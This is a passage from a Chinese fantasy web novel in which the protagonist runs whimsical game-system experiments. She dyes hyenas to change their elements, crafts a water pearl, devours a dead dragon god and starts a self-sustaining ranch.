“奇怪……” 颜辞云困惑皱眉。 为什么会这样？ 不是说酒精是毛皮的大敌吗？ 哪怕这毛皮质量够高，用酒精都洗不坏，但无论如何，也不该一点影响都没有呀！ 难道说，【改造】这个技能所维持的好状态，不仅能作用在鬣狗这个生命的主体上，也回作用在毛皮上？ “又或者说……是因为炁？” 颜辞云凝神注视手上的紫色毛皮，切换到五行视角。 在这个视角下，活动室里那只被扒了皮的鬣狗，有且仅有一团象征着生机的灰白气息。 反倒是颜辞云手上的鬣狗皮，竟焕发着代表【雷】炁的夺目紫光！ 颜辞云抚摸手上毛皮，若有所悟：“难道说，在这一份雷炁被清空前，这张毛皮是不会褪色也无法染色的？那我该用什么东西——不对！” 蓦地，颜辞云懊恼一拍脑门，发现自己在跑了一趟异世界后，思维竟僵化得厉害，就连自己最趁手的金手指都忘了。 要知道，颜辞云之所以能一个人在这样危险的异世界里活得这么舒坦，靠的不是别的，正是她万能的制作台啊！ 而洗色染色——这不正是制作台最擅长的吗？！ 颜辞云打开客厅的储物箱，拿出青金石，在制作台上提炼出来青色染料，接着又将染料和紫色毛皮都丢上去。 果然，几乎就在颜辞云将这两样东西放上制作台的瞬间，她就在制作台终端看到了一张青色的鬣狗皮！ 哈！成了！ 颜辞云拿出鬣狗皮，放在手上定睛细看。 而就是这一看，颜辞云惊讶发现，那青金石提炼出来的染料，似乎不仅仅起到了一个染色的作用，它甚至……改变了炁的属性？ 在这张鬣狗皮还是紫色的时候，它的属性是雷，当颜辞云切换到五行视角时，她可以看到旺盛的紫色雷炁像火一样翻腾。 可如今，在这张鬣狗皮被染为青色后，它的属性竟然变成了冰！ 当颜辞云在火焰附近轻轻抖开这张鬣狗皮时，颜辞云甚至能感到冷冰冰的风如同细碎的冰屑一般，扑面而来。 颜辞云摸着手上的鬣狗皮，有些发懵：炁的五行转换……原来是、是这么简单的事吗？ 染个色就行？ 真的假的？ 颜辞云满心狐疑，回到活动室，给那只光秃秃的鬣狗穿上它的皮，接着便结束了这场改造。 她专注地盯着眼前鬣狗，不肯放过它接下来一丝一毫的异变。 但—— 没有什么异变，也没有什么排异反应。 就好像这只鬣狗本来就是个万紫丛中一点青的冰属性鬣狗！ 于是，简简单单平平静静的，一只说不上新不新、但至少很青的物种，就这样出现了。 颜辞云用手指轻点下巴，放开这只青毛鬣狗，仔细观察它的变化。 而当青毛鬣狗被她松绑后，它的第一反应就是冲到族群老大的身边，躲在老大身后，向颜辞云呲牙咧嘴、汪汪大叫，但只要颜辞云板起脸来，它就会立即夹着尾巴呜咽。 颜辞云记笔记：属性的变化不会造成记忆、性格和行为模式上的改变。 被青毛鬣狗护在身前的鬣狗老大似乎没有因小弟染了头毛就忘了它，用非常熟稔的恨铁不成钢的态度对它汪汪大骂着，似乎在喝令它发动攻击。 青毛鬣狗怂了一会儿后，好似被骂急了，胆一壮心一横，嗷呜一声就向颜辞云吐出了一口……冰雾。 没错，就是冰雾！ 这只在紫毛时期只会上嘴咬的鬣狗，在染青后竟然成为“法师”了！ 颜辞云随手挥散这团雾，而后惊讶发现，它还真的有点儿东西，竟能在她寒暑不侵的小臂上结出一层薄薄的霜。 可以想见的是，如果这团冰雾不是落在颜辞云身上，而是落在普通人身上，它究竟会造成怎样的可怕结果……只可惜没有如果。 在这片土地上，就算这紫毛鬣狗染了个头，弟弟也依然是弟弟。 就凭它这三脚猫功夫，路过的水猴子都能给它两耳刮子。 颜辞云记下第二个笔记：属性的变化会造成攻击模式的改变，但菜鸟就是菜鸟，无法以染色的方式一步登天。 颜辞云把这只青毛鬣狗随手放了，丢出树屋，接着又抓出三只紫毛鬣狗，给它们分别染成红色、绿色和蓝色。 ——以上三种染料由活动室里的红、绿、蓝三色蘑菇倾情提供。 而在对这一红一绿一蓝，也就是一火一木一水三只鬣狗进行了后续观察后，颜辞云得出了与冰鬣狗一样的观察结果： 染色行为的确能够改变生物自身的炁的属性，以及它们的攻击方式，但这份改变也就仅限于此了。 想要制造出更强大或者更弱小的动物的话，她还需要对生物进行更多更大的改造才行。 比如说修改生物的体型，拼接新的肢体。 颜辞云马不停蹄，又挑出了三只新的鬣狗实验体。 而这一次，颜辞云下手就比较狠了。 她将三只鬣狗捏在了一块儿，揉成了一团，想要像捏橡皮泥一样，从头开始，捏出一只新模样、大体型的新物种。 比如说老虎。 颜辞云最熟悉的老虎。 在颜辞云的设想里，这三只肥鬣狗的肉量，怎么也该足够她捏出一只老虎了吧！ 可事情的发展有点出人意料。 颜辞云的确成功地将三只鬣狗的躯壳捏成了一个，也成功地用她勉强算是灵巧的手，将这具新躯壳捏出了老虎的外形。 虽然这个老虎的尾巴捏的上粗下细，像是蛇尾；头上背上的鬃毛，也是歪歪扭扭，像纽结着无数条蛇……可恶！她就说要用心练习手工的啦！ 总之，捏得丑只是小事。 最重要且最意外的是，当颜辞云捏到最后时，这只肥鬣狗的三只脑袋竟怎么都没法捏成一只。 只见，颜辞云的手下，这只崭新出炉的丑狗头上赫然顶着三颗狗头。它们各自独立、各有想法，有时候向颜辞云呲牙咧嘴、汪汪大叫着，有时候又蓦然暴起，把身旁的另两只狗头咬下一嘴毛。 颜辞云看着这一幕，眉头紧皱，手上捏了又捏，试了又试，怎么都没办法把它们捏成一个脑袋。 “怎么会这样……” 颜辞云想不明白。 “明明重塑它们的躯体的时候，就像捏橡皮泥一样容易，可为什么一到捏脑袋就……” 难道，是因为灵魂问题？ 是因为【改造】这个技能，只针对生命和肉体，而不针对灵魂，所以她才没有办法把三个不同的灵魂硬捏在同一个脑袋里？ 或许如此吧…… 颜辞云若有所思，准备再进行新一轮的实验。 而至于手上的这只三颗脑袋的丑狗，颜辞云虽然觉得它丑，但怎么说也算是自己的造物了，直接杀了也不是很舍得，于是便把它丢去石原附近的岩浆池，让它跟相繇作伴。 能不能活下来，就听天由命吧。 只不过，在颜辞云把这丑狗丢掉前，系统又弹出了提示。 【恭喜玩家创造出新物种。】 【请为新物种命名：随机/自定义】 颜辞云：啊？这也算新……哦，是的，三个脑袋还活蹦乱跳的生物，怎么不算新物种呢？ 颜辞云随意地选择了【随机】。 于是一秒后，新名字跳出： 【恭喜玩家创造出新物种：刻耳柏洛斯。】 怎么还随机出了个外文名？ 看来这系统果然很混搭啊，缝了几个游戏啊你？ 颜辞云没有太过在意这事儿，拍拍手便回到树屋，继续着自己的实验。 第73章 完美水灵珠 鳞虫食之可化龙…… 新一轮的实验里，因知道自己手工活太烂，颜辞云便没再做把血肉揉成一团、从头开始捏形状做细节的高难度活儿，而只准备做点简单的改造工作。 比如说普普通通的肢体拼接。 但是，要用哪些素材拼呢？ ——随缘。 颜辞云秉着就近原则，先是来到附近的山林随手抓了几只体型较大的走地鸡，接着又继续向上，路过草原，把一头撞在她身上的人脸鸵鸟捉住。 至此，素材的收集工作就算完成了，接下来要拼的东西……长翅膀的狗怎么样？ 感觉应该还挺简单的吧？插上翅膀就行。 这样想着，回到树屋的颜辞云抬手，再次捉来一只鬣狗，将它定住，接着，她从最丑的人脸鸵鸟开刀，把鸵鸟的两只翅膀拆卸下来，装在这只鬣狗身上。 人脸鸵鸟的体型很大，站起来时几乎是鬣狗的两倍高，所以它的翅膀也比较大，装在这只紫毛鬣狗身上后，让这只狗子看起来颇为滑稽。 因此，当颜辞云放开对鬣狗的控制，结束这场改造，想看看这个新“肢体”对这只狗子有什么影响时，只见这狗子走得东倒西歪、磕磕绊绊，短短三步就被自己的翅膀绊得摔了四回。 颜辞云：“……” 加上翅膀后造成了减速。 这是怎样的倒反天罡啊！ 颜辞云把鬣狗身上的鸵鸟翅膀拆下，又把路上遇到的走地鸡的翅膀给它装上。 但，意料之中的。 普通走地鸡的翅膀，对体型相对较大的鬣狗来实在太小了，装在鬣狗的背上就像是什么小玩具一样，摇摇晃晃的，有一种不顾他人死活的萌感。 颜辞云：“……” 行吧。 实验进行到这一步，并不算笨的颜辞云也终于察觉到了单纯的“拼接”实验的局限性了。 那就是不同体型大小的生物之间，不同大小的肢体是很难完全匹配的。 想要制造出一个合理的新生物，合理的体型和合理的肢体，是不可忽略的重要因素。 比如说颜辞云捏的那只三头犬。 三头犬并不是颜辞云真正想要的新生物，但就连颜辞云也不能否认的是，三头犬固然外型极丑，可它的体型十分合理，是颜辞云比对着老虎捏出来的，因此三头犬一落地就没事狗一样，一副活蹦乱跳生龙活虎的样子。 如今，颜辞云想要拼接出的“长翅膀的狗”，咋听起来似乎比从头捏一只新生物要简单得多，只要把翅膀往狗子背上一插就算完事。 可问题是，适合鬣狗体型大小的翅膀哪里来？ 从外头找的翅膀，不是大了就是小了，不是绊手绊脚就是毫无用处，而如果自制翅膀的话…… 可恶，回头就把手工技能练出来！ 终于明白了【改造】这一技能的真正要点所在，颜辞云开始感到头疼了。 她一边想要结束这场实验，觉得自己再继续倒腾下去也没法搞出什么新东西了，可一边她又觉得，区区颜值而已，丑点又如何，只要不怕辣眼睛，她怎么就倒腾不出新东西了？ 而且，而且—— 而且，既然做加法不合适、没条件，那做减法呢？ 蓦地，颜辞云一怔，脑中灵光一闪，眼前一亮：对呀，就是这么个道理！ 她怎么现在才想到？！ 如果说，现在的颜辞云没条件往生物身上“加”上一些合适合理的新肢体，那她为何不“减”掉一些她觉得不太合适、不太合理的东西呢？ 比如说这个被她顺手捞进树屋的人脸鸵鸟。 鸵鸟就是鸵鸟，为什么要长一张人脸？ 真是超丑的好吧。 如果把这张人脸摘掉，换成普通的鸟类模样……不不不，这个换脸的操作想想还是有那么一点点复杂，再降一级从最最简单的开始更好。 比如说，把裂谷地下水系里的蠃鱼翅膀拆掉！ 在裂谷的地下水系里，生活着这样一群奇特的小鱼。 它们长着鱼的身子，却有鸟的翅膀，和变色龙一样有拟态能力，在水里时就和水一样透明，死后则会掉落一颗微小型水灵珠作为勇者的战利品。 在几个月前的夏季，当颜辞云挖那条北水南调的人工河道时，她就曾挖开过地下水道，捉到过好一些蠃鱼。 但因为它们实在体型太小，吃起来不够塞牙缝的，所以颜辞云平时也没怎么打过蠃鱼的主意。 可现在嘛…… 颜辞云说干就干，毫不犹豫，把树屋里的鬣狗、人脸鸵鸟、走地鸡什么的统统丢出树屋，自己则来到人工河道处，把她手动堵死的人工河道和地下水道的连结处挖开，静静等了一会儿，果然捉到了几只好奇游出地下水道透气的小鱼。 守株待兔不过如此。 接下来，颜辞云也不介意当前地点合不合适，扭身坐在河岸边，直接开始了自己的减法改造。 啪嗒、啪嗒。 非常轻巧的，颜辞云把蠃鱼身上的两只翅膀摘了下来，就和当初摘下兔子腿一样丝滑。 而后，颜辞云把这只失去翅膀的蠃鱼重新放回水里，再收回自己的能力，仔细观察。 她惊讶发现，别看这只无翅蠃鱼在水里依然活动自如，好像没什么变化似的，可事实上，它失去了一项非常重要的能力—— 拟态。 以及对水炁的亲和力！ 此时此刻，无论是从什么角度、什么视角去观察，这只小鱼都只是普普通通的鱼而已，和颜辞云记忆中灵动的蠃鱼相去甚远。 ……为什么？ 只是少了一对翅膀而已呀。 这样想着的颜辞云，下一秒听到熟悉的声音响起： 【恭喜玩家创造出新物种。】 【请为新物种命名：随机/自定义】 颜辞云：“……” 好嘛，直接都不是一个物种了！ 到底怎么回事？ 明明颜辞云对这只小鱼的改造，仅仅只是摘下了它的一对翅膀而已，可它竟然连物种都变了…… “难道说，鱼身其实是外物，翅膀才是本体？” 颜辞云嘀咕着，随意给新物种选择了随机命名，得到一个【龙鱼】的名字后，颜辞云便翻来覆去地观察自己手上的鱼翅膀。 “但是……这翅膀看起来也很普通啊！” 平平无奇的小翅膀，改变了一个平平无奇的物种。 颜辞云想不通发生了什么，便随意把它塞进系统制作台，看它能给自己什么惊喜。 结果，惊喜真的来了！ 【1蠃鱼翅=1水灵珠（残缺版）】 【水灵珠（残缺版）：集齐九颗同类型水灵珠，可合成一颗完美水灵珠。】 颜辞云：“……” 啊？ 你、不是。 杀掉一只蠃鱼，你才只掉落一颗微小型水灵珠，之后还不知道要升级多少次才能合成一颗完美水灵珠。 可取下一只蠃鱼翅膀，就能得到九分之一个完美水灵珠……你这个世界的设定是不是哪里有问题啊？！ 想是这样想的，但颜辞云手上的动作却非常诚实。 她迅速捉了八条蠃鱼，把它们变成龙鱼后丢回河里，接着打开制作台，将手上的蠃鱼翅迅速换成水灵珠残缺版，最后，再将九颗残缺水灵珠合成。 ——搞定！ 一颗完美水灵珠就此出现！ 当完美水灵珠被颜辞云从制作台成功取下的那一刻，不知道为什么，原本无雨无云的冬季天空骤然响起雷鸣，下一秒，大雨倾盆而下，河流湍急如瀑。 颜辞云奇怪抬头，看了看天空不知道什么时候聚集起来的雨云，接着又低下头，看了看身下不知道为什么水位速度暴涨的河道，最后决定还是先查看自己手上的水灵珠。 【水灵珠（完美）：蕴含着无穷水炁的灵珠，现之则发大水，鳞虫食之可化龙。】 颜辞云眨了眨眼，又眨了眨眼：“哇！” 什么是惊喜？ 这才叫惊喜！ 第74章 夺神 【祂们或许曾经主宰过…… 鳞虫食之可化龙。 何为“鳞虫”？ 如果颜辞云此刻还是那个记忆失灵时不灵的现代灵魂，她必然是不知道的。 但当颜辞云去过异世界，并在赛博修仙的世界里兴致勃勃看了好几天的广告后，她却是意外补充了一些知识。 原来，古人把所有动物分为五类，即蠃虫、鳞虫、毛虫、羽虫、昆虫，合称为“五虫”。 其中，蠃为“少毛”，指人类、蚯蚓、青蛙等裸露无毛无鳞的生物，称为“蠃虫”或“倮虫”。 毛指走兽，以麒麟为首，称作毛虫；羽为飞禽，以凤凰为首，称为羽虫；昆指带甲壳的虫和水族，以灵龟为首，称作昆虫，或是介虫、甲虫。 鳞是“鳞片”，指鱼类和爬行类等体表有鳞甲的动物。 而龙，则为鳞虫之长。 在这之前，颜辞云对这些广告里看到的奇妙小知识，都是看过就算，并没有太放在心上，可她没想到的是，系统、又或是水灵珠，竟然用的也是“五虫”的设定……鳞虫食之可化龙？ 这么不可思议的吗？ 这一刻，颜辞云非常想要立即找条小鱼试一试这水灵珠，看看所谓的“化龙”到底是怎么化的。 是会突然出现一道龙门让它们跳过去？还是像数码宝贝一样来个超进化？ 颜辞云真的超好奇的。 但，出于谨慎之心，又或者是出于收集癖之心，颜辞云将手上这只完美水灵珠扣下，没有直接用它去喂小鱼，看化龙过程，而是又捉了九条蠃鱼，取下它们的翅膀，决定合成第二只完美水灵珠后，再用这只新的水灵珠去做实验。 可就是这样一番操作、一通合成后，得出的结果叫颜辞云生出了些许后怕来。 因为，明明同样是九对蠃鱼翅膀，九颗水灵珠残缺版，但合成出来的却不再是被标注为“完美”的水灵珠，而是普普通通的三个字：水灵珠。 【水灵珠：可储存大量水炁的灵珠。当灵珠内储备了足够的水后，它将自动调节方圆万里内的水气平衡。】 不再是带着“现之则发大水”这样奇怪又咬文嚼字的注释，也没有“鳞虫食之可化龙”这样的神奇功效。 而是普普通通的“调节水气平衡”的字样，和之前的微小型水灵珠走进了同一个画风里。 颜辞云心下茫然，完全不明白自己一模一样的操作，为什么会得到两个不同的东西。 ——这不合理吧？！ 为此，颜辞云又捉了同样的九条蠃鱼，摘下了它们的翅膀，继续合成。 可这第三次合成的水灵珠，依然和第二次合成的结果一样，只得到了非常普通的水灵珠。 颜辞云满头问号，左手捧着完美版水灵珠，右手托着普适版水灵珠，左看右看，怎么看怎么觉得这两颗珠子一模一样，从外观到微观，没有哪一处有区别。 但……它们在系统里的注释就是完全不同。 “真奇怪……到底为什么？” 颜辞云怎么都想不通这件咄咄怪事。 不过，唯一值得庆幸的，就是她的谨慎真的起到了作用，留下了这只完美水灵珠，而不是在一场突如其来的兴趣中随随便便地把它喂给了小鱼。 “算了。” 想不通就不想了。 反正，能意外获得完美水灵珠这样的特殊道具，和水灵珠这样能稳定获取且好用的道具，她怎么也该知足了。 至此，一场简单的对于【改造】技能的探索和实验完成了。 颜辞云没有继续在外头消磨时间，而是收起水灵珠，准备在接下来的时间里好好练习一下自己的手工能力。 说来也是神奇。 当颜辞云将完美水灵珠收进美人绶囊后，无论是天空黑压压的乌云还是河道暴涨的水位，竟都停了下来。 随后，乌云逐渐散去，水位缓缓回落。 一切都缓步恢复了平静模样。 就像系统为完美水灵珠写的注释那样—— 现之则发大水。 颜·收藏癖·辞云，看着这一幕，心中发痒：既然都有了完美水灵珠，是不是代表也会有完美火灵珠、完美木灵珠、完美土灵珠和完美金灵珠之类的东西？ 它们又会有怎样的神奇能力？ 呜哇！好想知道！ 好想要！！ 偷偷畅想了一下全图鉴的未来后，颜辞云便收敛心神，老实回到树屋，开始了自己漫长的手工练习的生涯。 练习雕刻，还有练习捏泥人什么的。 不过，值得一提的是，在颜辞云的练习过程中，发生了一件非常离奇、但想想又似乎还挺合理的事。 那就是把【吞噬】技能点满的颜辞云，在又一次去海底吃龙肉、不，升级【龙形】和【木·龙魄】技能时，无意触发了自己的新技能——吞天食地。 那实在是一种极奇妙的感觉。 就好像当颜辞云处于“进食”时，她的视线骤然拔升，有无限高无限大无限广，好似她是宇宙中唯一的巨人，而她脚下的这片天地则渺小如同一粒尘埃。 ——当天地都如同尘埃时，那条曾让颜辞云以为永远吃不完的巨龙，又有多大？ 不过是又一粒尘埃罢了。 于是颜辞云伸出了手——她真的伸出了手吗？或许是手，又或许是一种飘荡意识的晃动。 像是梦中的迷雾蔓延到现实，轻轻的、温柔地向那具海底龙尸笼罩下去。 一秒，两秒，三秒。 梦醒了。 她吃完了。 哗啦—— 当足有万丈高的海底龙尸消失的瞬间，风已静，云不动。世界从前如此，往后也如此，没有任何的变化，就连那海浪声都温柔得一如往常。 唯有颜辞云的技能树，在【吞噬】分支下，自【摄形】与【摄神】两个分支后，又多了一条新的分支： 【夺神】 【祂们或许曾经主宰过、创造过、毁灭过世界，但如今也只不过是组成你的一部分。】 颜辞云发现，【龙形】和【木·龙魄】这两个技能，已经不知道什么时候从【摄形】和【摄神】的分支里消失了。 取而代之的，是【夺神】分支下的一个崭新能力！ 【应龙（残缺）：掌管四季与山河的神明。但因其死亡前被夺走了大部分力量，因此哪怕你将它剩下的躯体尽数吞噬，也只能夺取它仅有的部分。】 颜辞云被这一技能的描述吓了一跳。 应龙？ 掌管四季与山河的神明。 那条海底龙尸的真正身份，竟然是“神”？ 第一反应，颜辞云自然是难以置信的。 可仔细想想，除了这个答案之外，或许也真的没有其它答案了。 因为哪怕是毕方和年兽，它们的体型也不过千丈，和躺下都有万丈高、身长不知许的海底巨龙有着无法逾越的绝对差距！ 在这样的情况下，除了“神”之外，那条海底龙尸又有什么别的身份可解释？ 只有神。 也只能是神！ 所以……她这个穿越者，竟然一直在把神的尸体当饭吃？ 想到这一件事，颜辞云心中就生出了十二万分的微妙。 但再想想她出门一趟就当了一回隔壁世界的文明送葬人……行吧，就这样吧。 人生的际遇就是这样奇妙而不可思议，没什么大不了的。 颜辞云飞快劝服了自己，而后摇身化作应龙，对着海水照了照自己的“新皮肤”。 挺好的。 不再是只有几百米的小小龙了，而是超——大的一条！ 以颜辞云如今的体型，就连年兽来了，她都可以把对方像玩具一样用尾巴抛着玩。 赞！ 更妙的是，当【龙形】这个技能被一口气吃满后，颜辞云发现，自己竟然不再像之前那样，只能被动地等待体型的变动，而是可以主动选择变大变小的！ 无论是将身形化作无尽高无无限长的灭世巨兽，还是变成一条拇指长的小小龙，都完全没有问题！ 而唯一让颜辞云感到不遗憾的是，在变身应龙后，她每时每刻都在觉得自己很“虚”。 并不是饿了，也不是累了，而是一种“我的身体缺了点什么”的奇妙感觉。 颜辞云若有所悟：难道说，这就是“死前被夺走大部分力量”的感觉？ 所以这条应龙到底被夺走了什么？ 颜辞云脑瓜一转，很快想到了自己物品栏里的完美水灵珠。 完美水灵珠有一个功效，叫做“鳞虫食之可化龙”。 如今的颜辞云就是龙，而且是应龙，只不过是残缺版的，算是处于量子变化中龙的状态。 那么，假如这样的她把完美水灵珠给吃了，她会不会因此出现什么奇妙变化？ 就算不能直接升级成完美版应龙，是不是也能补上一些东西？ 又或者是被应龙的神祇身份覆盖效果，吃了个寂寞？ 颜辞云心中蠢蠢欲动，在“把完美水灵珠留下来收集全图鉴”，和“把完美水灵珠吃掉看效果”之间摇摆不定—— 吃，还是不吃？ 这是一个问题。 第75章 开始养殖 不科学建筑…… 最后，苦恼的颜辞云还是没能立即做出决定。 或许是因为颜辞云实在舍不得自己手上唯一的一颗完美水灵珠，也可能是因为颜辞云并没有立即做下这个决定的必要。 是的，虽然将一条残缺的应龙、一位真神的能力补全，这件事非常地吸引人，可颜辞云觉得，自己现在也没到不补全应龙能力就会被迫近的危机干掉的地步。 在时间和选择尚且有余裕的时候，何必立即去做那个选择呢？ 说不准日后还会有别的机会？ 总、总之，先让她集齐全图鉴五灵珠过过瘾再说吧！ 抱着又能升级又能留下自己收藏品的美好畅想，颜辞云把一颗完美水灵珠和两个普通水灵珠都收了起来，开心回到树屋练习手工去了。 就这样，两个月时间转瞬即逝。 这两个月里，颜辞云能够感到，自己的身体每一天都有着天翻地覆的变化。 力量的增强，体型的变化，炁总量的暴涨，等等。 每过去一天，颜辞云都与昨日的自己有着云泥之别，而每一天晚上入睡前，颜辞云都要将自己的体型变化到最小，以确保自己不会因八小时的无知无觉就让自己的体型长大到撑破自己的小树屋。 甚至颜辞云还发现，自己越来越难以出现饥饿、困倦、疲惫、力竭等感受了。 她又一次体验到了披上死神外套的感受，那所有常人都会体验的生理活动，都在逐渐离她远去。 颜辞云知道，这是因为那条庞大的应龙正在她体内逐渐被消化，是因为她正在夺取那条应龙的一切。 当应龙的所有力量都被她化作己用后，她或许就能彻底脱离“小怪兽”的阶段，成为真正的神祇。 如今颜辞云，其实是凭着自己的惯性和爱好，才依然保持着一日三餐和八小时睡眠的作息，只要她想，哪怕不眠不休不吃不喝也完全没问题的。 但话又说回来—— 她为什么要不眠不休不吃不喝？ 能吃能喝能睡能玩有什么不好？ 现代也好异界也好，有多少人因这样那样的理由，既吃不好喝不好，也睡不好玩不好，给人做牛做马低头哈腰换来一点点窝囊费，好好一个人活得比机器比木石还可怕。 如今，她颜辞云难得有这样的本事可以不靠任何人就把自己养得这样好，那她为什么反倒要戒掉这一切？ 这才是真的倒反天罡呢！ 抱着“我活着就是要吃好喝好”的想法，颜辞云理直气壮地享受美食的风味，享受四季的风景。 只不过，因为颜辞云如今进食已经不再是必须的活动，所以她平时也不会主动去伤害那些野兽的生命，而是开始了自己之前一直想要做、却没能力做的事。 畜牧养殖。 自己养，自己吃。 其实，畜牧这个板块，这会儿已经在颜辞云的生活模块里点亮半年有余了，只不过半年前，颜辞云还是一个炁总量只有60的小卡拉米，根本支撑不起畜牧区块的日常消耗，所以只能忍痛放弃。 可随着颜辞云吞掉应龙，她的炁总量一日千里，今天睡下时还是100出头，第二天起来就到了200，十天不到就给她直接干到了2000单位。 颜辞云：“……” 哇哦，厉害！ 难怪航海区的兑换物起手就是100单位的炁，敢情在突破了那个界限后，炁总量根本就不算大问题？ 那她现在是不是可以展望一下航海区块的好东西了？ ……不不不，仔细想想，饭还是要一口口吃。 先搞定畜牧业再说吧！ 在炁总量破2000的那一天，颜辞云下定决心，在草原搭起了牛棚和羊圈。 牛棚和羊圈虽然只有一级，可搭建出来后面积很大。前方圈出了一大片的放牧区，中央是主建筑，内部还划分出了牲畜居住区和仓库区，更远一些的地方还有堆肥区。 颜辞云进建筑内部转了一圈，发现牛棚的地面竟然非常干净，有一缕不知从哪儿来的风正在建筑内一遍遍循环，既是在自动换风，也是在自动清洁。 甚至颜辞云还看到，一头吃草的牛前头在草原上拉了屎，下一秒那堆牛粪就不见了，自动落在了堆肥区里。 颜辞云点开堆肥区的解释看了看，发现堆肥区的肥料积攒到一定程度后，就会自动给放牧区的草地施肥、催长，避免放牧区的草地被牛儿啃秃了。 甚至如果颜辞云想的话，她还可以在日后升级建筑的时候添加一个肥料厂，将堆肥区的牛粪羊粪自动制成肥料，拿到天地里使用！ 颜辞云看的目瞪口呆：这么高级的吗？ 竟、竟然看起来比她的树屋还要高级的样子？！ 但，颜辞云回过神后，仔细想想，觉得能有这么高级也是很正常的。 因为，一个1级牛棚的容量上限是5，维持一天（空棚）所需要的炁是15；一个1级羊圈的容量上限也是5，但维持一天（空棚）所需要的炁是20。 而随着颜辞云捉住牛羊，分别放进牛棚和羊圈后，这两个建筑消耗的炁分别+3和+4. 也就是说，当1级的畜牧建筑被塞满五单位的牲畜后，维持这个建筑一天所需要的炁，就分别需要花费30单位和40单位的炁。 一天就要花掉70单位的炁。 这高级一点说得过去吗？ 颜辞云飞快说服了自己关于“畜棚是不是太高级了”的问题。 可转念间，“什么高级畜棚一天要花掉这么多炁”的念头又不服输地冒了出来。 说实话——70单位的炁啊！ 这养的是牛羊啊还是小怪兽？ 就算这个畜棚真的挺高级的……但30/40单位炁每天，是不是太多了点呀？ 抱着这样的疑虑，摇身成为大卡拉米的颜辞云浑然不惧这点儿单位的炁消耗，飞快捉了五头牛五头羊，把两个畜棚塞满。 而几乎在颜辞云向畜棚投入牛羊的瞬间，两个建筑生产页面便跳了出来- 【牛棚（1级）】 【当前容量：5/5】 【建筑每日总消耗：30单位炁】 【建筑每日出产物（可选）：100斤纯牛奶/头；300斤牛肉/头；10斤牛毛/头；1牛皮/头；1牛角/头】 【建筑1→2可获得效果：1、牛棚产品每日产量翻倍；2、牛棚产品品质大幅提升；3、可对牛棚牲畜进行针对性改造和强化，加强每日产品的特定功效】- 【羊圈（1级）】 【当前容量：5/5】 【建筑每日消耗：40单位炁】 【建筑每日出产物（可选）：50斤纯羊奶/头；100斤羊肉/头；10斤羊毛/头；1羊皮/头；1羊角/头】 【建筑1→2可获得效果：1、羊圈产品每日产量翻倍；2、羊圈产品品质大幅提升；3、可对羊圈牲畜进行针对性改造和强化，加强每日产品的特定功效】- 颜辞云看着这个页面，几乎是目瞪口呆。 这个产量……是不是哪里有问题？这么高的吗？ 而且，牛奶羊奶牛毛羊毛什么的就算了，但肉、皮、角这样的东西，也能算在“每日出产”里？ 这真的不是出产一次就没了的一锤子买卖吗？ 抱着这样的疑虑，颜辞云给建筑里的每头牛羊都设置了不同的每日产品，而后便回到树屋，等待第二天。 第二天一早，颜辞云就来到了畜棚。 她惊讶发现，一晚上过去后，畜棚似乎没什么变化，依然干净整洁，数量也不多不少。牛羊每天晚上自动进畜棚，每天早晨自动出畜棚，就连畜棚的每日产物，也是自动堆在了仓库区里。 好家伙，原来是全自动的！ 难怪还自带了一个仓库区呢！ 颜辞云把仓库区里的东西提出来一看，发现真的有奶有肉有皮有角。 甚至那肉还是各个部位都有！ 颜辞云：“……” 所以说这肉这皮到底哪儿来的？ 明明牛羊也没少啊。 颜辞云不信邪地把脑袋探到放牧区，仔细观察那些低头吃草的牛羊们： 没错，牛羊的数量没少。 没错，也没有出现什么惊悚的牛骷髅、无皮牛之类的怪东西。 颜辞云揉了揉眼睛，更仔细地看了看：嚯！昨天被她调整为出产奶制品的牛，甚至还是一头公牛！ 无中生有的奶，无中生有的肉，无中生有的皮……也就是说，她可以一边把这五头牛养到寿终正寝，一边每天吃肉吃到吐？ 所谓的畜棚，原来是个永动机建筑？！ 颜辞云可算是明白了这两个建筑为什么会是耗炁大户了。 就这个不科学的、无中生肉的建筑，不多消耗点炁那还说得过去吗？！ 抱着这样的复杂心情，颜辞云搂着这一大堆畜棚产物回到了树屋。 走之前，颜辞云还把每日产物调整了一下。 牛棚里留一头牛出奶就行，剩下的四头牛全部出肉；羊圈一头出奶，两头出毛，两头出肉。 至此，颜辞云每天固定支出70单位的炁，固定收入则是100斤纯牛奶，50斤纯羊奶，1200斤牛肉，200斤羊肉，20斤羊毛。 颜辞云再也不用发愁肉、不用担心自己每天饭量太大吃垮生态圈的事了。 “不过，牛肉羊肉虽好，霸王鼎和水火炼葫也做不出太多花样啊……” 霸王鼎出品的菜肴基本不是炖就是煮，吃多了难免觉得寡淡。 水火炼葫的产物则很不稳定，而且不知道为什么基本都是腹泻套餐，靠的就是颜辞云小脑瓜的奇思妙想。 所以颜辞云平时大部分时间里，都是用自己从异界打包来的调味品，进行厨艺上的自由发挥。 成果还行。 颜辞云只能客观评价自己的厨艺在调味品的帮助下正稳定进步，并且还有极大的进步空间。 可很快的，这个进步空间也没有了。 因为颜辞云打包的调味品飞快用完了。 说来这也是正常结果——像颜辞云这种一天狂吃一千来斤肉、还很喜欢发挥厨艺妙想，进行魔鬼式菜肴创新的大怪兽，调味品用得不快才怪呢！ 颜辞云看着厨房里飞快消失的调味品，心中发愁，忍不住开始思考起来：有没有什么办法，能让自己像稳定获得肉一样稳定获得更多的调味品？ 对了，话说回来，她是不是趁着冬天还没结束，赶紧囤冰和酿酒？ 颜辞云思来想去，最后决定戳自己万能的金手指。 “有没有办法？有没有办法？” “连厨具都能单独开一个页面，调味品怎么就不能了？” “给我开一个新的兑换页面呗。” “快点开快点开快点开……” 可能是被颜辞云烦到了，也可能是的确发展到了这一步。 当颜辞云把最后一份调味品用光前，系统的提示音及时响起： 【检测到物品栏里有大量资料数据留存，是否将此份资料录入系统以开启新的模块？】 大量资料数据？ 颜辞云若有所思，打开物品栏，定睛一看，发现所谓的“资料数据”，果然就是她从异界打包的那三张硬盘！ 此时此刻，这三张硬盘正在她的物品栏里无声绽放微光，闪烁之间，如同遥远的星星，好似只要颜辞云伸出手来，就能将那个遥远的文明重新借回人间。 颜辞云看着这一幕，微微一怔，不知为何，心情莫名有些复杂。 但很快的，她回过神来，果断选择了【录入】。 【资料录入中……】 【正对资料进行修改以适应当前世界……】 【当前数据修改进度5%。】 【区块[工匠制造]已解锁，请玩家及时查看。】 ——对！工匠制造！ 她要的就是这个！ 颜辞云眼睛一亮，迅速点了进去。 第76章 新玩具 厉害了！ 系统金手指给颜辞云提供的制造品页面，可以粗糙地分为两类，一类是需要消耗炁的，一类则只需要消耗基础的物资与建材。 